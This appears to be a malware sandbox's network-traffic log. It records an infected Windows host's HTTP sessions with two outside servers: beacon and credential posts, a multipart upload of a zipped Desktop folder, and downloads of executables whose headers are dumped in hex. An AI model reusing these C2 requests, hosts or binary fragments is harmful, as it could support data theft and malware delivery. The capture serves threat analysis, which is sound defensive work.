Apr 13, 2024 20:21:09.246577024 CEST	1289	IN	Data Raw: 00 00 89 4d cc c6 06 00 bb 01 00 00 00 33 ff 89 5d d0 85 c9 0f 8e e4 00 00 00 0f 1f 40 00 c7 45 e4 00 00 00 00 c7 45 e8 0f 00 00 00 c6 45 d4 00 3b c7 0f 82 14 01 00 00 2b c7 b9 02 00 00 00 3b c1 0f 42 c8 83 7d 1c 10 8d 45 08 0f 43 45 08 51 03 c7 Data Ascii: M3]@EEE;+;B}ECEQMP/]EE}jCEjPvNV];sAFrDuEuQ2EUr(MBrI#+wpRQ(9;}}
Apr 13, 2024 20:21:09.246620893 CEST	1289	IN	Data Raw: 45 fc 00 00 00 00 8d 4d c0 6a 24 68 50 8e 01 10 c7 45 d0 00 00 00 00 c7 45 d4 0f 00 00 00 c6 45 c0 00 e8 ce 2a 00 00 c6 45 fc 01 8b 45 18 85 c0 75 07 33 f6 e9 dc 00 00 00 33 ff 85 c0 0f 84 cd 00 00 00 66 90 c7 45 e8 00 00 00 00 c7 45 ec 0f 00 00 Data Ascii: EMj$hPEEEEEu33fEEE;u+;B}ECEQMPsEEePN(EEP7(E0EUr,MBrI#+
Apr 13, 2024 20:21:09.246658087 CEST	1289	IN	Data Raw: 89 0d 00 00 00 00 59 5f 5e 8b e5 5d c3 e8 ea 68 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 20 2b 01 10 64 a1 00 00 00 00 50 83 ec 40 a1 08 b0 01 10 33 c5 89 45 f0 56 50 8d 45 f4 64 a3 00 00 00 00 83 ec 18 c7 45 fc 01 00 00 00 8b cc 89 Data Ascii: Y_^]hUjh +dP@3EVPEdEejhxAA{%EE ePV#EEPD#ME(0EEeP##EjhAA%Ed0
Apr 13, 2024 20:21:09.246695042 CEST	1289	IN	Data Raw: 10 f3 0f 7e 46 10 66 0f d6 05 90 b9 01 10 c7 46 10 00 00 00 00 c7 46 14 0f 00 00 00 c6 06 00 8b 55 cc 83 fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 aa 12 00 00 52 51 e8 a5 2a 00 00 83 c4 Data Ascii: ~FfFFUr,MBrI#+RQ*uEePlEjhAAV E0EEEHE;0+;B}ECEMVP r.ArP
Apr 13, 2024 20:21:09.246738911 CEST	1289	IN	Data Raw: c4 30 c7 45 c8 00 00 00 00 c7 45 cc 0f 00 00 00 c6 45 b8 00 8d 48 ff b8 b0 b9 01 10 39 0d c0 b9 01 10 0f 42 0d c0 b9 01 10 83 3d c4 b9 01 10 10 51 0f 43 05 b0 b9 01 10 8d 4d b8 50 e8 99 1b 00 00 8b 0d c4 b9 01 10 83 f9 10 72 2e a1 b0 b9 01 10 41 Data Ascii: 0EEEH9B=QCMPr.ArP#+wQPu%EU~EMfAA9B=RCPMt\|
Apr 13, 2024 20:21:09.588423967 CEST	1289	IN	Data Raw: fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 d4 08 00 00 52 51 e8 b6 20 00 00 83 c4 08 83 ec 18 8b cc 89 65 d4 68 78 b8 01 10 e8 7f 14 00 00 83 ec 18 c6 45 fc 12 8b cc 68 c8 b9 01 10 e8 6c Data Ascii: r,MBrI#+RQ ehxEhlME0t\|r.ArP#+dQP? ~FfFFUr,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	193.233.132.56	80	6356	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:09.647702932 CEST	176	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Apr 13, 2024 20:21:09.991864920 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:17.045826912 CEST	172	OUT	POST /Pneh2sXQk0/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NDYxMA== Host: 193.233.132.56 Content-Length: 4770 Cache-Control: no-cache
Apr 13, 2024 20:21:17.045826912 CEST	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 44 59 78 4d 41 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NDYxMA==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Apr 13, 2024 20:21:17.045826912 CEST	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Apr 13, 2024 20:21:17.045826912 CEST	8	OUT	Data Raw: 08 00 50 70 44 57 f6 2a Data Ascii: PpDW*
Apr 13, 2024 20:21:17.045826912 CEST	8	OUT	Data Raw: dd 4d 84 02 00 00 02 04 Data Ascii: M
Apr 13, 2024 20:21:17.045882940 CEST	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Apr 13, 2024 20:21:17.045892954 CEST	8	OUT	Data Raw: 69 6c 65 73 5f 5c 44 54 Data Ascii: iles_\DT
Apr 13, 2024 20:21:17.045916080 CEST	8	OUT	Data Raw: 42 5a 47 49 4f 4f 53 4f Data Ascii: BZGIOOSO
Apr 13, 2024 20:21:17.045944929 CEST	8	OUT	Data Raw: 2e 64 6f 63 78 15 d2 49 Data Ascii: .docxI
Apr 13, 2024 20:21:17.045957088 CEST	8	OUT	Data Raw: b2 65 21 08 04 d0 79 45 Data Ascii: e!yE
Apr 13, 2024 20:21:17.046153069 CEST	8	OUT	Data Raw: fc 45 a9 60 af 08 f6 ee Data Ascii: E`
Apr 13, 2024 20:21:17.407355070 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	193.233.132.56	80	5952	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:10.757669926 CEST	159	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Apr 13, 2024 20:21:11.101500988 CEST	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 30 0d 0a 20 2b 2b 2b 5f 31 5f 61 30 31 39 39 36 36 34 31 64 61 32 63 61 66 38 66 32 30 61 30 39 62 65 64 64 31 65 32 38 61 62 64 30 31 66 62 61 35 35 64 66 32 33 63 61 61 61 62 33 62 62 37 62 65 65 61 39 66 62 62 35 31 61 36 38 62 64 65 35 36 61 36 30 37 31 38 62 37 33 63 34 30 64 2d 31 2d 5f 32 5f 66 32 30 32 39 66 32 63 32 62 66 64 38 34 63 62 61 30 35 30 35 61 66 35 39 62 30 63 37 63 39 61 38 36 34 36 65 66 31 33 38 66 32 65 62 61 66 34 66 66 62 31 37 62 64 66 61 66 61 66 65 32 36 65 33 39 65 66 62 36 33 31 32 37 32 34 66 64 37 66 63 33 37 65 2d 32 2d 5f 33 5f 38 65 31 65 66 65 36 36 31 65 39 39 63 32 62 38 61 62 30 39 33 62 66 37 66 37 32 33 30 37 38 62 63 30 34 61 62 34 34 35 64 61 32 63 38 61 66 39 61 63 66 61 30 62 64 38 66 35 66 30 62 61 31 62 34 35 66 38 2d 33 2d 5f 34 5f 38 36 33 38 63 64 36 66 30 38 61 38 64 39 62 64 62 30 30 66 30 32 38 38 66 63 30 66 31 63 39 38 66 66 37 35 62 39 36 61 62 63 36 63 61 35 66 39 62 61 65 32 32 63 64 37 65 34 64 34 39 35 34 62 36 33 65 38 2d 34 2d 5f 35 5f 66 36 34 38 64 64 37 37 33 34 38 33 38 35 65 31 62 66 30 30 35 65 61 64 65 39 33 65 30 37 65 38 64 62 35 66 39 38 34 61 62 63 32 61 62 62 39 65 38 62 66 65 30 36 66 31 64 61 63 33 65 30 35 30 33 39 63 35 66 32 34 37 34 61 37 66 66 32 36 36 61 30 37 30 64 37 38 63 34 61 62 66 63 61 61 62 64 63 30 66 62 30 66 65 65 30 33 39 39 33 33 39 61 36 65 32 35 61 34 61 31 63 34 32 31 36 63 39 65 35 33 37 31 63 39 32 61 32 38 66 36 35 30 35 38 38 31 37 32 66 35 62 35 30 36 62 39 37 36 33 39 64 65 32 38 31 30 65 31 66 35 36 37 31 38 35 32 35 63 31 62 66 65 39 65 38 39 39 30 66 2d 35 2d 0d 0a 30 0d 0a 0d 0a Data Ascii: 210 +++_1_a01996641da2caf8f20a09bedd1e28abd01fba55df23caaab3bb7beea9fbb51a68bde56a60718b73c40d-1-_2_f2029f2c2bfd84cba0505af59b0c7c9a8646ef138f2ebaf4ffb17bdfafafe26e39efb6312724fd7fc37e-2-_3_8e1efe661e99c2b8ab093bf7f723078bc04ab445da2c8af9acfa0bd8f5f0ba1b45f8-3-_4_8638cd6f08a8d9bdb00f0288fc0f1c98ff75b96abc6ca5f9bae22cd7e4d4954b63e8-4-_5_f648dd77348385e1bf005eade93e07e8db5f984abc2abb9e8bfe06f1dac3e05039c5f2474a7ff266a070d78c4abfcaabdc0fb0fee0399339a6e25a4a1c4216c9e5371c92a28f650588172f5b506b97639de2810e1f56718525c1bfe9e8990f-5-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:11.547194958 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000042001&unit=246122658369
Apr 13, 2024 20:21:11.897455931 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	193.233.132.167	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:12.262475014 CEST	55	OUT	GET /cost/sarra.exe HTTP/1.1 Host: 193.233.132.167
Apr 13, 2024 20:21:12.602390051 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:12 GMT Content-Type: application/octet-stream Content-Length: 2263040 Last-Modified: Sat, 13 Apr 2024 16:50:25 GMT Connection: keep-alive ETag: "661ab7d1-228800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b6 2a 19 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 c0 03 00 00 00 00 00 00 90 58 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 58 00 00 04 00 00 3b 36 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 5a 58 00 4c 00 00 00 5e 80 14 00 72 00 00 00 00 50 14 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5a 58 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 59 58 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 58 2b 00 00 00 50 14 00 00 0c 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 14 00 00 02 00 00 00 5a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 90 14 00 00 02 00 00 00 5c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6c 7a 6e 64 67 7a 71 00 30 19 00 00 60 3f 00 00 26 19 00 00 5e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6d 6e 6b 6e 69 66 6c 00 10 00 00 00 90 58 00 00 04 00 00 00 84 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$Pttt_wt_qt_sttptwtqOt_pt_rt_utu4t\|}t\|tt\|tt\|vtRichtPELf'4XP@X;6#@ZXL^rPX+ZXYXt@ @>@.rsrcX+PN@.idata Z@ \@plzndgzq0`?&^@imnkniflX"@
Apr 13, 2024 20:21:12.602428913 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 13, 2024 20:21:12.602468967 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 13, 2024 20:21:12.602507114 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 13, 2024 20:21:12.602543116 CEST	1289	IN	Data Raw: 2c a8 8e c8 17 b8 c4 30 48 c8 c4 40 c2 1d d8 12 41 bb 50 42 93 52 02 fc b3 45 60 e9 00 b0 24 0f 28 05 34 70 98 40 86 b0 68 26 45 df ae 6c 22 30 41 95 93 1f ef 62 b2 df 24 1f 27 98 e9 3a d0 47 b9 91 df 3b 28 44 88 44 15 80 84 2e 8c b3 50 54 28 68 Data Ascii: ,0H@APBRE`$(4p@h&El"0Ab$':G;(DD.PT(hEt""0#) $; .H.O6.P"DBh@@=J!0P!`PB@>i%DpQB4B!$?%i#d)Bu\|"`$H
Apr 13, 2024 20:21:12.602580070 CEST	1289	IN	Data Raw: 04 80 f3 0a f2 a7 a2 a0 e6 60 92 3d a3 71 28 16 f6 ab 51 b4 4b 00 8a 7d 23 b8 e9 84 15 2b c6 50 c3 35 ec f7 65 6a d3 5b 9b e4 02 8a 55 ee f8 a0 8c bc 32 eb 03 1c f1 bc b0 83 ad f1 e5 0f 54 b6 1e 9b fc 74 2a 8a c2 b6 84 b1 3e e2 3f 76 f6 55 48 eb Data Ascii: `=q(QK}#+P5ej[U2Tt>?vUH(H1~/DB;u(!H[Fj=L1Km`auXV_^j/S1U 23NB]7S_3R5Jwv<=4)dV6zu+t/M
Apr 13, 2024 20:21:12.602617025 CEST	1289	IN	Data Raw: 80 40 32 86 9a 9c 92 c9 66 b5 cf 70 23 c2 e7 e0 89 43 f5 1f b7 eb 41 8f 04 31 00 f7 3b c7 0f 43 12 f0 81 fe 37 76 41 8d 46 23 81 79 3b c6 0f 86 e3 50 8d eb bf 85 13 f6 74 16 0a 73 41 45 4b d0 c6 34 45 e4 3f 1c 3c 8d 33 ff 15 02 84 e4 7b 53 28 1d Data Ascii: @2fp#CA1;C7vAF#y;PtsAEK4E?<3{S(69T;uBP`U\aPAF#P4-9t=)KYR/C;X27x0>:Kyjz[xEM^/`LuJ=`$H#(v6 3zUt,A
Apr 13, 2024 20:21:12.602653980 CEST	1289	IN	Data Raw: 5e 57 90 f0 8a 2e 44 51 5f 5a f1 46 f0 e1 b8 9c 4e d0 8b e6 97 90 89 0c 56 e2 6f 39 d3 50 23 9c 7e 86 7b 7d 82 70 f2 93 2c af 28 c0 b5 9d ce 74 24 2b e3 4e d0 df 6a 0d 68 18 9c 64 52 6c 84 f2 a0 aa eb 09 de 91 bd b4 79 17 bc 8b e4 0d 13 77 a9 14 Data Ascii: ^W.DQ_ZFNVo9P#~{}p,(t$+NjhdRlyw/J3 ~>,'T")'lgU?*jA:VVkJmp,[v@1BX, q;-Fr0G%(=u0~OP4`,3VEb
Apr 13, 2024 20:21:12.602690935 CEST	1289	IN	Data Raw: 69 33 85 e8 56 52 b8 1c 39 28 7a b5 0e 00 6b 50 ce a5 57 5e 82 90 16 c5 33 c0 b7 b1 d6 b6 30 26 25 f0 fc a5 5b 7a 34 71 ae 5b 21 3e e1 c9 47 e5 68 80 d6 99 10 ca 5b f6 84 40 48 a7 50 bc 24 97 c6 7f f1 04 ad 76 d2 b9 fb c0 ca 8d 75 e5 85 00 c9 79 Data Ascii: i3VR9(zkPW^30&%[z4q[!>Gh[@HP$vuy4fTN 06TNuN-l0Z;uW{+ HOiW}44c>QHu$W}SOhw*Ru%;%Y
Apr 13, 2024 20:21:12.602730036 CEST	1289	IN	Data Raw: f4 41 35 a0 00 b3 3c 4a 3b 13 c7 74 2c 68 c2 1f 13 2b 5d f8 00 80 39 5e 10 72 5b 6d 89 0a 78 04 ec 30 87 0e 33 d2 3d 66 89 0c 59 eb 2e 72 f0 0c 3b d9 75 0d 4d 83 4c e3 d7 02 fb 06 7c 1c eb c9 83 49 ee c7 33 1e 6a 71 e5 b7 f7 06 cf 90 b8 c5 18 d1 Data Ascii: A5<J;t,h+]9^r[mx03=fY.r;uML\|I3jqk+=6`\UsAQ>[^?g`xDM1brisATHR]g@_RIGD1zC^BVi%F\ePuB779
Apr 13, 2024 20:21:12.942809105 CEST	1289	IN	Data Raw: 6c 7e f7 da 92 fb 64 73 9a a0 c8 dd 5c 25 81 ec 4a 33 c1 f3 8d b8 d4 a5 b4 e0 96 68 98 92 ba cb 1a d0 f0 53 05 70 04 e8 52 ca f8 29 e3 d0 3b 4c 50 77 4e 74 46 72 aa fa 55 4b e0 f4 44 85 a2 10 81 d3 64 84 0d 2d 10 f1 2e 2a 0e 93 b3 92 4a 14 af 4e Data Ascii: l~ds\%J3hSpR);LPwNtFrUKDd-.JN.EHrJO;P.i<d[2'ORV AD wj!Myz6}OpY"A ,)ls$qlNCFm2Rx`$r: p&T\|]6n!>NmO!y$PZCff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:18.885194063 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 34 33 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000043031&unit=246122658369
Apr 13, 2024 20:21:19.234451056 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	193.233.132.167	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:19.583681107 CEST	55	OUT	GET /mine/amert.exe HTTP/1.1 Host: 193.233.132.167
Apr 13, 2024 20:21:19.926747084 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:19 GMT Content-Type: application/octet-stream Content-Length: 1876480 Last-Modified: Sat, 13 Apr 2024 16:50:51 GMT Connection: keep-alive ETag: "661ab7eb-1ca200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2a 52 e4 13 6e 33 8a 40 6e 33 8a 40 6e 33 8a 40 35 5b 89 41 60 33 8a 40 35 5b 8f 41 f0 33 8a 40 bb 5e 8e 41 7c 33 8a 40 bb 5e 89 41 7a 33 8a 40 bb 5e 8f 41 1b 33 8a 40 35 5b 8e 41 7a 33 8a 40 35 5b 8b 41 7d 33 8a 40 6e 33 8b 40 ba 33 8a 40 f5 5d 83 41 6f 33 8a 40 f5 5d 75 40 6f 33 8a 40 f5 5d 88 41 6f 33 8a 40 52 69 63 68 6e 33 8a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 b2 bf 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 aa 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 78 24 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 70 06 00 6a 00 00 00 00 60 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6d 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 6d 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 60 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 06 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 80 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 72 68 77 6d 63 6d 6c 00 b0 19 00 00 c0 30 00 00 b0 19 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 62 74 69 77 74 79 64 00 10 00 00 00 70 4a 00 00 06 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Rn3@n3@n3@5[A`3@5[A3@^A\|3@^Az3@^A3@5[Az3@5[A}3@n3@3@]Ao3@]u@o3@]Ao3@Richn3@PELepJ@Jx$@Vpj`pmJ mJ P@.rsrc`@.idata p@ @@nrhwmcml0@cbtiwtydpJ@
Apr 13, 2024 20:21:19.926793098 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
